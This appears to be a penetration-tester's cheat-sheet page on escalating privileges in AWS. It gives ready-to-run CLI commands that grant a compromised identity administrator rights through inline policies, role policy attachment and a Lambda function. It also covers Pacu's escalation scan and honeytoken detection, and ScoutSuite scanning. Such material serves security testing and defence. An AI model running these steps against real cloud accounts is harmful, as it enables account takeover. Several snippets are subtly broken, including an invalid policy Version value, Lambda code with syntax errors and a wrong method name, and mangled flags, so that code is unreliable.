Privilege Escalation

Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.

Interesting Permissions:

  • iam:AttachUserPolicy -> Attach a policy to a user

  • iam:AttachGroupPolicy -> Attach a policy to a group

  • iam:AttachRolePolicy -> Attach a policy to a role

  • iam:CreateAccessKey -> Creates a new access key

  • iam:CreateLoginProfile -> Creates a new login profile

  • iam:UpdateLoginProfile -> Update an existing login profile

  • iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile

  • iam:PutUserPolicy -> Create/Update an inline policy

  • iam:PutGroupPolicy -> Create/Update an inline policy for a group

  • iam:PutRolePolicy -> Create/Update an inline policy for a role

  • iam:AddUserToGroup -> Add an user to a group

  • iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role

  • iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it

  • lambda:UpdateFunctionCode -> Update the code of an existing lambda function

- iam:PutUserPolicy Privesc

If a user was compromised with the List Policy and Put User Policy permissions, an attacker could leverage this Put User privilege to add an inline administrator to itself, making it administrator of the instance.

First, get the IAM user:

aws sts get-caller-identity

Then, list policies attached to the user:

aws iam list-attached-user-policies --user-name example_name -- profile example_profile

After that, retrieve information about an specific policy:

aws iam get-policy --policy-arn policy_arn

If there are more than one version of the policy, we can also list them:

aws iam list-policy-versions --policy-arn policy_arn

Now we can retrieve the contents of the policy:

aws iam get-policy-version --policy-arn example_arn --version-id id_example

If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.

For this, create a json file with the policy, for example:

{
	"Version": "2022-12-15",
	"Statement" : [
		{
			"Effect":"Allow",
			"Action": [
				"*"
			],
			"Resource":[
				"*"
			]
		}
	]
}

Then, attach this policy into our user:

aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json

To confirm, list inline policies of our user:

aws iam list-user-policies --user-name example_name

Then, we could try listing a restricted resource, for example, a S3 bucket:

aws s3 ls --profile example_profile

- iam:AttachRolePolicy Privesc

Escalate privilege by attaching administrator policy to itself:

aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name jump-ec2-role --profile ec2

Then, check again the managed Policy Attached to EC2 Instance:

aws iam list-attached-role-policies --role-name jump-ec2-role --profile h4ker

- iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction Privesc

If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.

First, the lambda function code to add administrator permission to the role and to the user:

import boto3
import json

def handler(event,context)
	iam = boto3.client("iam")
	iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
	iam.attach.user.policy(UserName="name",PolicyArn="arn",)
	return {
		'statusCode':200
		'body':json.dumps("Pwned")
}

Then, create a lambda function and attach a role to it:

aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region

Finally, invoke the lambda function:

aws lambda invoke --function-name name response.json --region region

And list managed policies to see if the change worked:

aws iam list-attached-user-policies --user-name user_name

Automated Tools

- Pacu

Pacu is an open-source AWS exploitation framework.

Setting the initial user access key in pacu:

set_keys

To detect if keys are honey token keys:

run iam__detect_honeytokens

Get the permission of current logged-in user:

exec iam__enum_permissions

whoami

Enumerate ec2 instance and get the public ip addresses:

exec ec2__enum

data EC2

Set the temporary credential for role attached to ec2 instance:

set_key

Get the permission of current logged-in role:

run iam__enum_users_roles_policies_groups

exec iam__enum_permissions

whoami

Enumerate privilege escalation permission and exploit it:

exec iam__privesc_scan

Again, check the permission of privilege escalated role:

exec iam__enum_permissions

whoami

- ScoutSuite

First, to install ScoutSuite:

sudo apt-get install virtualenv

git clone https://github.com/nccgroup/ScoutSuite

cd ScoutSuite

virtualenv –p python3 venv

source venv/bin/activate

pip install –r requirements.txt

Then, run it as root:

sudo apt-get install virtualenv

sudo su

virtualenv -p python3 venv

source venv/bin/activate

pip install scoutsuite

Finally, to scan an AWS environment with ScoutSuite:

python scout.py aws --profile=<aws profile name>

or

scout aws --profile=<aws profile name>

To parse the json report files:

### Find All Lambda Environment Variables
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' \
    >> lambda-all-environment-variables.txt
done

### Find World Listable S3 Buckets
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' \
    >> s3-buckets-world-listable.txt
done

### Find All EC2 User Data
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' \
    >> ec2-instance-all-user-data.txt
done

### Find EC2 Security Groups That Whitelist AWS CIDRs
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.account_id' \
    >> ec2-security-group-whitelists-aws-cidrs.txt
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.ec2.findings."ec2-security-group-whitelists-aws".items' \
    >> ec2-security-group-whitelists-aws-cidrs.txt
done

### Find EC2 EBS Public AMIs
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.ec2.regions[].images[] | select (.Public == true) | .arn' \
    >> ec2-public-amis.txt
done

### Find All EC2 EBS Volumes Unencrypted
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' \
    >> ec2-ebs-volume-not-encrypted.txt
done

### Find All EC2 EBS Snapshots Unencrypted
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq \
    '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' \
    >> ec2-ebs-snapshot-not-encrypted.txt
done

- SkyArk

- Boto3

Last updated